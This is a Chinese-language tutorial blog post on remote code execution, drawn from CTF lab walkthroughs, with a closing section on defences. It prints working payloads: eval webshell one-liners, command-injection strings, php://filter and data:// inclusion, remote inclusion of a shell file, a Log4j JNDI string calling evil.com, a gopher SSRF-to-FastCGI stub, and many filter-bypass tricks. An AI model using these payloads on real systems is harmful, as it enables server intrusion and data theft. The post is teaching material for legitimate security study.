2026-07-29
top10漏洞常见基础讲解
00
请注意,本文编写于 108 天前,最后修改于 107 天前,其中某些信息可能已经过时。

目录

一、RCE 是什么
二、RCE 的核心原理
2.1 直接执行:eval() 型
2.2 间接执行:命令拼接型
2.3 更隐蔽的执行:反序列化、模板注入、JNDI 等
三、RCE 的常见分类
3.1 命令注入(Command Injection)
3.2 代码注入(Code Injection / Eval Injection)
3.3 文件上传 +/ 文件包含
PHP 伪协议利用
远程包含
读取源代码
3.4 反序列化漏洞(Deserialization)
3.5 模板注入(SSTI)
3.6 JNDI 注入
四、RCE 的常见绕过技巧
4.1 关键字过滤绕过
七、防御思路
7.1 永远不要信任用户输入
7.2 各分类的防御要点

RCE是什么,原理,如何利用,分类,常见cve


一、RCE 是什么

RCE = Remote Code Execution(远程代码执行)

简单说:攻击者不需要登录服务器,只需要通过浏览器发送一个请求,就能让服务器执行他指定的代码或命令。相当于拿到了服务器的"遥控器"。

RCE 是 Web 安全中危害等级最高的漏洞类型之一。一旦成功,攻击者可以:

  • 读取服务器上的任意文件(包括数据库密码、用户数据)
  • 上传后门(WebShell),长期控制服务器
  • 横向渗透到内网其他机器
  • 植入勒索软件、挖矿程序

二、RCE 的核心原理

RCE 的本质是:程序把用户输入的内容,直接或间接地当成"可执行代码"来处理了。

2.1 直接执行:eval() 型

最典型的就是 PHP 的 eval() 函数:

php
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST['cmd']); } ?>

图片.png 这段代码的意思是:如果 URL 里带了 cmd 参数,就把参数值当成 PHP 代码来执行。

攻击者访问:

/?cmd=system("ls");

程序实际执行的是:

php
eval('system("ls");');

system("ls") 是 PHP 里执行系统命令的函数,于是攻击者就看到了服务器上的文件列表。

继续访问:

/?cmd=system("cat /flag_29475");

就能直接读取 flag 文件,拿到 CTF 的 flag。

这里选择直接蚁剑连接

图片.png

核心问题:eval() 把用户输入的字符串直接解析成了 PHP 代码。用户输入什么,服务器就执行什么。

2.2 间接执行:命令拼接型

有些程序不是直接 eval(),而是把用户输入拼接到系统命令里:

php
$ip = $_GET['ip']; system("ping -c 4 " . $ip);

正常用户输入 127.0.0.1,执行的是 ping -c 4 127.0.0.1。

但攻击者输入 127.0.0.1; cat /flag,执行的是:

bash
ping -c 4 127.0.0.1; cat /flag

分号 ; 在 Linux 里表示"执行完前面的命令,再执行后面的命令"。于是 cat /flag 就被执行了。

核心问题:用户输入被直接拼进了系统命令字符串,没有过滤危险的分隔符。

2.3 更隐蔽的执行:反序列化、模板注入、JNDI 等

还有一些 RCE 不是直接的 eval() 或命令拼接,而是通过更复杂的机制触发的:

  • 反序列化:恶意序列化数据在还原成对象时,触发一系列方法链,最终执行命令
  • 模板注入(SSTI):用户控制的模板内容被渲染时,通过模板语法执行代码
  • JNDI 注入:让服务器去连接攻击者控制的远程服务器,加载并执行恶意类

这些的核心原理都是一样的:程序在处理用户可控的数据时,执行了不该执行的代码。


三、RCE 的常见分类

按照"攻击者是怎么把恶意代码塞进去的",RCE 可以分为以下几大类:

3.1 命令注入(Command Injection)

原理:用户输入被拼接到系统命令中执行。

典型场景:

  • 网站提供"Ping 测试"功能,让用户输入 IP 地址
  • 网站提供"DNS 查询"功能
  • 文件处理功能调用外部命令

危险字符:; | && || ` $() 等

提示

“|”:直接执行后面的语句。

“||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。

“&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。

“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能

示例:

?ip=127.0.0.1|whoami ?ip=127.0.0.1;cat /flag ?ip=127.0.0.1`whoami`

直接ping

相关信息

127.0.0.1是本地环回地址

图片.png

php
<?php // PHP 代码开始标记 $res = FALSE; // 初始化一个变量 $res,值为布尔值 FALSE // 这个变量用来存储 exec() 执行命令后的输出结果 if (isset($_GET['ip']) && $_GET['ip']) { // 检查两个条件: // 1. isset($_GET['ip']):URL 中是否有 ?ip=xxx 这个参数 // 2. $_GET['ip']:参数值是否非空(不是空字符串、不是 null) // 两个条件同时满足,进入这个 if 分支 $cmd = "ping -c 4 {$_GET['ip']}"; // ⚠️ 漏洞核心在这里! // 直接把用户输入的 $_GET['ip'] 拼接到命令字符串里 // 正常输入:127.0.0.1 → $cmd = "ping -c 4 127.0.0.1" // 恶意输入:127.0.0.1; ls → $cmd = "ping -c 4 127.0.0.1; ls" // 没有任何过滤,这就是"无过滤"题目的含义 exec($cmd, $res); // exec() 执行 $cmd 字符串里的系统命令 // 第二个参数 $res 是数组,用来接收命令的每一行输出 // 比如执行 "ls" 后,$res = ['file1.txt', 'file2.php'] // 注意:exec() 只返回最后一行输出,完整输出存在 $res 数组里 } ?>

直接执行ls

图片.png

单纯读显示不来,所以这里base64编码下

图片.png 或者使用&,都执行效果

图片.png

3.2 代码注入(Code Injection / Eval Injection)

原理:用户输入被当成程序语言本身的代码来执行。

典型函数:

  • PHP:eval()、assert()、preg_replace(/e)、create_function()
  • Python:eval()、exec()
  • JavaScript:eval()

示例(assert 执行):

php
$poc = "assert"; $poc("system('ls')");

assert() 本来是用来判断表达式是否成立的,但它会执行传入的表达式,这就形成了 RCE。

3.3 文件上传 +/ 文件包含

原理:两步走——先上传恶意脚本,再通过文件包含执行。

一句话木马:

php
<?php @eval($_POST['pass']); ?>

上传后通过 include() 包含执行,或者用蚁剑、冰蝎等工具连接。

图片.png

php
<?php // PHP 代码开始标记,告诉服务器从这里开始解析 PHP 代码 error_reporting(0); // 关闭所有错误报告(包括警告、提示、报错) // CTF 中常见做法:隐藏报错信息,防止泄露服务器路径等敏感信息 // 但在真实环境中,这会让调试困难,且不能阻止漏洞存在 if (isset($_GET['file'])) { // 检查 URL 中是否有 ?file=xxx 这个 GET 参数 // 如果有,进入这个 if 分支;如果没有,跳到下面的 else if (!strpos($_GET["file"], "flag")) { // ⚠️ 这是本题的核心陷阱! // strpos() 函数在字符串中查找 "flag" 子串 // - 返回 0:表示 "flag" 在字符串开头(第0位) // - 返回 false:表示没找到 "flag" // - 返回其他数字:表示 "flag" 在中间某个位置 // 所以:无论 strpos 返回 0 还是返回 false,! 之后都是 true // 这意味着: // ?file=flag.php → strpos 返回 0 → !0 = true → 绕过! // ?file=shell.txt → strpos 返回 false → !false = true → 通过 // ?file=aflag.php → strpos 返回 1 → !1 = false → 被拦截 include $_GET["file"]; // 文件包含漏洞点! // include 会把用户传入的文件路径对应的文件内容包含进来并执行 } else { echo "Hacker!!!"; // 只有当 strpos 返回非0的正整数时才会进入这里 // 比如 ?file=shellflag.txt(flag 在中间) } } else { highlight_file(__FILE__); // 如果没有传入 file 参数,就高亮显示当前文件(index.php)的源代码 // __FILE__ 是 PHP 的魔术常量,表示当前文件的完整路径 // 这就是为什么你能看到这段代码的原因 } ?>

图片.png

PHP 伪协议利用

ctfhub的php://input

php
<?php // PHP 代码开始 if (isset($_GET['file'])) { // 检查 URL 中是否有 ?file=xxx 参数 // 如果有,进入这个 if 分支 if ( substr($_GET["file"], 0, 6) === "php://" ) { // 取 file 参数的前 6 个字符,判断是否等于 "php://" // 只有以 php:// 开头的参数才能通过校验 // 这是本题的"过滤逻辑"——看似限制了只能用 php:// 伪协议 // 但实际上 php://filter 等协议依然可以读文件、甚至执行代码 include($_GET["file"]); // 文件包含漏洞点 // 和上一题一样,include 会解析内容中的 <?php ?> 并执行 // 但本题限制了只能用 php:// 开头的协议 } else { echo "Hacker!!!"; // 如果不是 php:// 开头,就拦截 } } else { highlight_file(__FILE__); // 没有传 file 参数时,显示当前源码 // 所以你才能看到这段代码 } ?>

这里是phpinfo 里 allow_url_include是on

提示

allow_url_include = On 是什么意思 这是 PHP 的一个配置开关,控制 include()、require()、include_once()、require_once() 这四个函数是否允许使用 URL 包装器。 URL 包装器包括:

php://input(读取 POST Body) php://filter(过滤读取文件) http:// / https://(远程文件包含 RFI) ftp:// / ftps:// data://(内嵌数据)

1.如果 allow_url_include = Off:

include("php://input"); // ❌ 报错,不允许

include("http://evil.com/shell.txt"); // ❌ 报错

include("data:text/plain,<?php phpinfo();?>"); // ❌ 报错

2.如果 allow_url_include = On:

include("php://input"); // ✅ 可以,读取 POST Body 并执行

include("http://evil.com/shell.txt"); // ✅ 可以,远程文件包含

图片.png

图片.png

远程包含

在服务器创建shell.txt文件

mkdir -p /var/www/rce echo '<?php @eval($_POST[CTFhub]); ?>' > /var/www/rce/shell.txt

创建conf文件

conf
server { listen 8000; server_name _; root /var/www/rce; index index.html; location / { try_files $uri $uri/ =404; } }

图片.png 通过文件包含读取shell.txt a058ed0e5b53ab3706c03ac8c848237a.png 使用蚁剑连接

读取源代码

?file=php://filter/read=convert.base64-encode/resource=/flag 图片.png

或者?file=php://filter/read=convert.base64-encode/resource=../../../flag

图片.png 这实际上也是目录穿越

提示

目录穿越也叫目录遍历,核心思想就是:

利用 ../(Linux)或 ..\(Windows)返回上一级目录的特性,从当前位置"跳"到不该访问的位置。

因为 include()、file_get_contents()、fopen() 这些函数本质上就是文件系统操作。它们接收一个路径字符串,交给操作系统去解析。

操作系统看到 ../ 就往上退一级,不会管这个路径是不是你"应该"访问的。PHP 也没有默认限制 include 不能跳出 web 目录。

3.4 反序列化漏洞(Deserialization)

原理:程序把用户提交的序列化数据直接反序列化。攻击者构造恶意数据,在反序列化过程中触发 Gadget Chain,最终执行命令。

类比:序列化像把玩具车拆成零件打包寄出去,反序列化是对方组装回来。但如果包裹里塞了"炸弹零件",组装时就会爆炸。

典型场景:

  • Java:ObjectInputStream.readObject()(Shiro、Fastjson、Jackson)
  • PHP:unserialize()(各种 CMS)
  • Python:pickle.loads()

示例(Create_function RCE):

php
class Noteasy { private $a; private $b; public function __destruct() { $a = (string)$this->a; $b = (string)$this->b; $a("", $b); // 把 $a 当函数调用 } }

攻击者把 $a 设为 create_function,把 $b 设为 ';}highlight_file("/flag");/*,反序列化后触发析构函数,最终执行 create_function('', ';}highlight_file("/flag");/*'),在内部生成的匿名函数里执行了恶意代码。

3.5 模板注入(SSTI)

原理:模板引擎渲染页面时,用户能控制模板内容,通过模板语法执行代码。

常见模板引擎:

语言引擎
PythonJinja2
PHPTwig、Smarty
JavaFreeMarker、Velocity

示例(Jinja2):

{{ self.__class__.__bases__[0].__subclasses__()[40].read() }}

3.6 JNDI 注入

https://blog.csdn.net/Myon5/article/details/136548391

原理:Java 的 InitialContext.lookup() 去连接攻击者控制的 RMI/LDAP 服务器,下载并执行远程恶意类。

经典案例:Log4j2(CVE-2021-44228)

${jndi:ldap://evil.com/Exploit}

四、RCE 的常见绕过技巧

https://zhuanlan.zhihu.com/p/391439312

Hello CTF 的文章展示了大量 CTF 中常见的 RCE 绕过技巧,这里按思路归类:

4.1 关键字过滤绕过

当 cat、ls、bash 等关键字被过滤时:

被过滤绕过方式原理
catca\t、ca""t、ca\t反斜杠或双引号插入关键字中间,shell 会忽略
catmore、less、head、tail、nl用其他读文件命令代替
cattac(倒序输出)功能相同,关键字不同
空格%20(URL 编码空格)浏览器发送空格
空格\t(TAB 键)TAB 在命令行中等效于空格
空格<(输入重定向)cat<flag 等效于 cat flag
空格$IFSBash 的内置分隔符变量
; & |%0a(换行符)URL 编码的换行符可以分隔命令
; & |;直接用分号分隔多条命令

示例: 使用tac 图片.png 使用
图片.png 使用双引"" 图片.png 使用more

根据窗口大小,一页一页的现实文件内容

图片.png

bash
# cat 被过滤,用反斜杠绕过 ca\t /fl\ag # 空格被过滤,用 TAB 代替 ca\t\t/fl\ag # 关键字+双引号绕过 ca""t /fl""ag # 用 * 通配符代替部分关键字 ca\t /fl*

图片.png

图片.png 这里给出几种解题方式

第一种利用

readfile('/flag.txt') 这个函数本身就直接向输出流写入文件内容

图片.png

第二种

var_dump(file_get_contents('/flag.txt'));

file_get_contents() 是一个读文件的函数,它把整个文件读成一个字符串,但不会自己输出,必须配合输出函数才能看到。

图片.png

第三种

反引号 ``` 是键盘上 Tab 键上面、数字 1 左边那个键。 在 PHP 里,把命令用反引号包起来,就相当于执行了这个系统命令,并把它的输出作为一个字符串返回。

图片.png

提示

printf 和 var_dump 是干什么的?

它们都是 PHP 里用来输出信息的函数,就像 echo 和 print 一样。 这道题里 echo 被禁了,但 printf、var_dump 没有被禁,所以可以用它们来输出。

printf:和 C 语言的 printf 类似,可以用来格式化输出字符串。 比如:printf('%s', 'hello'); 会输出 hello。 var_dump:用来输出变量的详细信息(类型和值),通常用于调试。 比如:var_dump('hello'); 会输出 string(5) "hello"。

4.2 长度限制绕过

当输入长度被限制(比如不能超过 5 个字符):

?com=nl%20/* //使用 nl 查看,nl 用于显示文本并输出行号

nl 只有 2 个字符,/* 匹配根目录下所有文件,nl 会显示所有文件内容并输出行号,直接拿到 flag。

探姬老师的rce-labs-level 14-16

14关使用cat /f*,如果限制5就用nl

图片.png 图片.png

15关使用https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge

这里复现的话时间来不及了,写不完文章了,所以解释下wp

原理

php
<?php /* --- HelloCTF - RCE靶场 : 命令执行 - 长度限制_5字符RCE --- */ // 上面是文件头注释,说明这是 HelloCTF 的 RCE 靶场题目 $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); // 为每个访问者创建一个独立的沙箱目录 // md5("orange" + 你的IP地址) 生成一个唯一哈希值 // 比如你的IP是 1.2.3.4,目录就是 /www/sandbox/a1b2c3d4... @mkdir($sandbox); // @ 符号抑制报错。创建沙箱目录,如果已存在也不报错 @chdir($sandbox); // 进入沙箱目录。后续所有操作都在这个目录下进行 if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { // ⚠️ 核心限制! // 1. 必须有 ?cmd=xxx 参数 // 2. cmd 的长度不能超过 5 个字符 // 正常命令如 "cat /flag" 有 9 个字符,直接超了 @exec($_GET['cmd']); // exec() 执行系统命令,但不输出结果到页面(需要配合输出重定向) } else if (isset($_GET['reset'])) { // 如果传了 ?reset=1,清空沙箱目录 @exec('/bin/rm -rf ' . $sandbox); // 删除整个沙箱目录,相当于"重置" } highlight_file(__FILE__); // 显示当前文件的源代码 // 这就是为什么你能看到这段代码 ?>

核心矛盾:5 个字符能做什么?

这道题就像一次只能说一个字,但你得讲一句完整的话。

命令长度能做什么
ls2列出文件
>a2创建空文件 a
sh a4执行文件 a
cat /flag9❌ 超长了,直接不能用
curl xxx8+❌ 超长了

那怎么执行长命令?答案是:把命令"拆成字",先写到文件里,再让 sh 念出来执行。 https://mp.weixin.qq.com/s/tRUg48R-ihcmrFHqnouk0w

图片.png

4.3 无回显绕过

当命令执行了但看不到输出时:

输出重定向:

bash
127.0.0.1|cat /flag>1.php

把 flag 内容写入到 1.php,然后访问 1.php 就能看到内容。

时间盲注:

bash
127.0.0.1|sleep 5

如果页面延迟了 5 秒才响应,说明命令执行成功了。

Base64 编码输出:

bash
127.0.0.1|cat<flag_xxx.php|base64

把输出用 base64 编码后显示在页面上,避免被过滤或截断。

4.4 bash终端的无字母命令执行-进制转义

https://probiusofficial.github.io/bashFuck/

这里使用探姬的第九关-bash终端的无字母命令执行_八进制转义

ls /编码后

图片.png 图片.png

cat /flag编码后

图片.png

提示

"为什么你写了个八进制 payload,在 bash 里能跑,但一到 PHP 的 system() 里就报错"?

第一步:system() 不是直接找 bash,而是找 sh

PHP 的 system("whoami") 底层逻辑是:

启动一个 sh 进程 → 把字符串丢给 sh 执行 → 返回结果

关键点:它找的是 sh,不是 bash。就像你点外卖,平台默认派的是"众包骑手",不是"专送骑手"。


第二步:sh 是个"外包中介",实际干活的人可能不一样

在 Linux 里,/bin/sh 通常不是独立的程序,而是一个软链接(类似 Windows 的快捷方式),指向真正干活的 shell:

系统sh 指向谁特点
CentOS/RHEL/bin/bashbash 支持 $'\xxx' 八进制
Debian/Ubuntu/bin/dashdash 不支持 $'\xxx'
Alpine(Docker 轻量镜像)/bin/busyboxbusybox 不支持 $'\xxx'

验证命令(你在容器里执行):

bash
ls -l /bin/sh

图片.png

如果输出:

/bin/sh -> /bin/dash # 不支持八进制转义,你的 payload 会报错 /bin/sh -> /bin/busybox # 不支持,报错 /bin/sh -> /bin/bash # 支持,payload 能跑

level10

https://mp.weixin.qq.com/s/EmCiVCbj_YESBimjxhtkIg


第三步:靶场为什么要在 Dockerfile 里改 sh 指向?

RCE-labs 用的基础镜像是 php:7.3-fpm-alpine(Alpine 系统),默认:

bash
/bin/sh -> /bin/busybox

busybox 是个极简工具集,它的 shell 功能很弱,不认识 $'\154\163' 这种语法。

所以作者必须在 Dockerfile 里加一行:

dockerfile
RUN ln -sf /bin/bash /bin/sh

这相当于:把"众包骑手"强制换成"专送骑手",确保 system() 调到的最终是 bash,才能解析你的八进制 payload。


类比:翻译官的故事

  • 你(攻击者)写了一封信:$'\154\163'(八进制暗号)
  • PHP 的 system() 是个邮差,他只认"sh 翻译局"的地址
  • sh 翻译局 本身不翻译,它把信转给外包翻译:
    • 如果外包是 bash:看得懂八进制暗号 → 翻译成 ls → 执行成功
    • 如果外包是 dash/busybox:看不懂八进制 → 直接报错 not found

作者 Dockerfile 里的 ln -sf /bin/bash /bin/sh,就是强行指定外包必须是 bash,保证你的暗号能被翻译。

4.8 data 伪协议 RCE

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。

当 include() 存在且过滤了 php:// 时:

data://text/plain;base64,xxxx(base64编码后的数据)

图片.png

图片.png

data:// 伪协议可以直接内嵌 PHP 代码。注意如果正则只匹配了 data://,去掉双斜杠写成 data:text/plain 也能绕过。

4.9 空格绕过

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格

图片.png

图片.png

图片.png

常见绕过

类别符号示例原理适用环境/场景限制
Bash 内置变量类${IFS}cat${IFS}/flagIFS 是 Bash 的内部字段分隔符(Internal Field Separator),默认值包含空格、TAB、换行。${IFS} 被解析后展开为空格。Bash过滤 $ { } 任意一个就失效
Bash 内置变量类$IFScat$IFS/flag同上,不加花括号。但后面紧跟 / 时,Bash 可能把 IFS/ 当成一个变量名,解析失败。Bash后面字符不能是字母/数字/下划线,否则变量名粘连
Bash 内置变量类$IFS$9cat$IFS$9/flag$IFS + $9(第9个位置参数,通常未定义=空字符串)。$9 起到"隔断"作用,防止变量名和后面的 /flag 粘连。Bash过滤 $ 就失效
Bash 内置变量类$IFS$1cat$IFS$1/flag和 $IFS$9 同理,用 $1(第一个参数,通常为空)做隔断。Bash同上
重定向类<cat</flag输入重定向。cat 没有参数时从 stdin 读数据,< 把 /flag 的内容重定向给 cat 的 stdin。效果等效于 cat /flag。cat tac nl head tail sort sh 等支持 stdin 的命令ls</flag 不行,因为 ls 不接受 stdin
重定向类<<cat<<EOFHere Document,从后续输入读取直到遇到 EOF。交互式/脚本CTF 中几乎不用,需要多行输入
重定向类<>exec 3<>/flag读写重定向,打开文件同时用于读写。高级用法不能简单替代空格
URL 编码类%09?ip=127.0.0.1%0aca%09/flagURL 解码后是 TAB 键(ASCII 9)。命令行中 TAB 和空格等效,可以分隔参数。GET 参数传递WAF 可能在 URL 解码前就过滤 %09;或者解码后过滤 \t
URL 编码类%20?ip=127.0.0.1%0aca%20/flagURL 解码后是普通空格。GET 参数传递如果过滤了空格,这个直接死
URL 编码类%0a?ip=127.0.0.1%0alsURL 解码后是换行符(LF)。换行可以分隔多条命令,但不是替代空格。命令分隔不是空格的替代,是换行执行
URL 编码类%0b—URL 解码后是 Vertical Tab(垂直制表符)。某些环境可充当空白符。冷门绕过兼容性差
URL 编码类%0c—URL 解码后是 Form Feed(换页符)。某些环境可充当空白符。冷门绕过兼容性差
URL 编码类%a0—URL 解码后是不可见空格(Non-breaking space)。某些 PHP 版本下可绕过空格过滤。PHP 特定环境PHP 5/7 某些版本有效
Bash 语法类{cmd,arg}{cat,/flag}Bash 大括号扩展(Brace Expansion)。{a,b} 展开成 a b(中间有空格)。Bash展开后还是带空格,如果 WAF 在扩展前检查就死;且很多场景不支持
Bash 语法类X=$'cat\t/flag';$X先赋值再执行把带 TAB 的命令字符串存到变量,再执行变量。Bash 执行变量内容时会做字段分割。Bash需要分号 ; 可用
其他冷门方式IFS=,;cmdIFS=,;cat,/flag临时修改 IFS 为逗号,然后用逗号分隔参数。Bash需要 = , ; 都可用,且命令要配合
其他冷门方式printfprintf '%s\n' /flag用 printf 输出,避免空格。特定场景不是直接执行命令
其他冷门方式xargsecho /flag|xargs cat用管道把数据传给 xargs,xargs 用空格/换行分割参数后执行命令。有管道符 `` 可用时

4.10过滤目录分隔符\过滤运算符

使用分号;

在 Bash 和大多数 Shell 中,分号 ; 的作用是命令分隔符,用来在同一行里顺序书写多条命令。

图片.png

过滤了运算符,这里的base64可以置前

图片.png 或者直接more或cat,然后查看源码

图片.png

综合过滤我这里使用 ?ip=127.0.0.1%0Als%0Acd${IFS}fla""g_is_here%0Als%0Atac%09*_228451597427899.php 图片.png

五、CVE 原理分析

5.1 Log4j2 - CVE-2021-44228(JNDI 注入)

原理:Log4j2 在记录日志时,会对 ${} 里的内容进行解析。如果内容是 ${jndi:ldap://evil.com/Exploit},Log4j2 会调用 JNDI 的 lookup() 去连接攻击者的 LDAP 服务器,下载并实例化远程类。恶意类的构造函数或静态代码块里可以执行任意代码。

为什么危害大:因为日志内容往往是用户可控的(比如用户名、User-Agent、请求参数),几乎所有调用日志的地方都可能被注入。

5.2 PHP 8.1.0 dev Backdoor

原理:PHP 8.1.0 开发版本中被植入了一个后门。当 User-Agent 头包含特定字符串时,会执行后面的命令。这是一个供应链攻击案例——攻击者直接污染了官方源码。

5.3 Apache Struts2 - CVE-2017-5638

原理:Struts2 使用 OGNL 表达式语言处理用户输入。攻击者通过构造恶意的 Content-Type 头,让 OGNL 解析器执行了恶意表达式,最终调用 Runtime.exec() 执行系统命令。

5.4 Fastjson - 反序列化 RCE

原理:Fastjson 在反序列化 JSON 字符串时,会自动调用某些类的 setter 方法。攻击者构造特殊的 JSON,让反序列化过程中调用 JdbcRowSetImpl 的 setDataSourceName() 和 setAutoCommit(),触发 JNDI 注入,最终 RCE。


六、RCE 与相关概念的区别

6.1 RCE vs 代码执行(Code Execution)

代码执行是 RCE 的一种子类型,但不是全部。

对比项RCE(远程代码执行)代码执行(Code Execution)
范围大类,包含多种实现方式特指"把输入当代码执行"这一种方式
执行环境可以是系统命令、程序代码、模板等特指程序语言本身的代码(PHP/Python/Java)
典型函数system()、eval()、assert()、Runtime.exec()eval()、assert()、OGNL、MVEL
关系RCE ⊇ 代码执行代码执行是 RCE 的实现手段之一

简单理解:

  • 代码执行 = 执行 PHP/Python/Java 代码(在程序语言层面)
  • 命令注入 = 执行系统命令(在操作系统层面,如 whoami、ls)
  • RCE = 以上两者的统称,只要能让服务器执行攻击者指定的代码/命令,都叫 RCE

6.2 RCE vs SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造) 本身不是 RCE,但可以组合利用变成 RCE。

对比项RCESSRF
本质让服务器执行代码/命令让服务器代替攻击者发起 HTTP 请求
直接危害执行命令、读取文件、控制服务器访问内网资源、读取本地文件、攻击内网服务
能否直接 RCE能一般不能直接 RCE,需要配合其他漏洞

SSRF → RCE 的组合利用:

最典型的就是 SSRF + FastCGI 协议 RCE。

场景:一个网站存在 SSRF,允许你指定内网 URL。你发现内网有个 PHP-FPM 运行在 9000 端口。

攻击流程:

攻击者 → SSRF漏洞 → 目标服务器 → FastCGI协议 → PHP-FPM(127.0.0.1:9000) ↓ 构造恶意FastCGI Record ↓ 修改PHP_VALUE环境变量 ↓ 设置 auto_prepend_file = php://input ↓ PHP-FPM执行恶意代码 → RCE

具体 payload(用 gopherus 生成):

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00...

通过 SSRF 发送构造好的 FastCGI 协议数据包,让 PHP-FPM 把 auto_prepend_file 设为 php://input,然后在 POST 数据里写入 PHP 代码,PHP-FPM 就会执行这段代码,实现从 SSRF 到 RCE 的跃迁。

另一个组合:SSRF + Redis 未授权访问

攻击者 → SSRF → Redis(内网) → 写入计划任务/SSH公钥 → 服务器执行 → RCE

6.3 常见组合利用链

SSRF → 发现内网服务 → 攻击内网服务 → RCE → Redis未授权 → 写WebShell/计划任务 → RCE → FastCGI → 修改PHP配置 → RCE → MySQL LOAD DATA LOCAL → 读取客户端文件 → 信息泄露 → 内网Web应用漏洞 → SQL注入/RCE 文件上传 → 上传WebShell → 包含执行 → RCE → 上传.htaccess → 修改解析规则 → RCE SQL注入 → 堆叠查询 → 执行系统命令 → RCE(如SQL Server xp_cmdshell) → 写文件到Web目录 → WebShell → RCE 反序列化 → Gadget Chain → 调用Runtime.exec() → RCE → 调用文件写入方法 → WebShell → RCE

七、防御思路

7.1 永远不要信任用户输入

这是安全的第一定律。所有来自用户的数据(URL参数、POST数据、Cookie、Header、文件名)都要视为不可信。

7.2 各分类的防御要点

命令注入:

  • 不要用字符串拼接命令,用参数化执行(PHP的escapeshellarg())
  • 白名单过滤输入(只允许IP格式、只允许数字等)
  • 禁用system()、exec()等危险函数,或严格限制使用场景

代码注入:

  • 绝对不要eval()用户输入
  • 需要动态执行代码时,用沙箱环境(Docker容器、WebAssembly)

反序列化:

  • 不要反序列化不可信来源的数据
  • 使用JSON替代二进制序列化
  • Java中配置反序列化过滤器(JEP 290)

模板注入:

  • 不要让用户控制模板内容,只允许传入变量值
  • 禁用危险内置函数和对象访问

SSRF防御(防止被组合利用):

  • 限制请求目标只能访问白名单域名/IP
  • 禁止访问内网地址(127.0.0.1、10.x.x.x、192.168.x.x)
  • 禁用不必要的协议(gopher、file、dict等)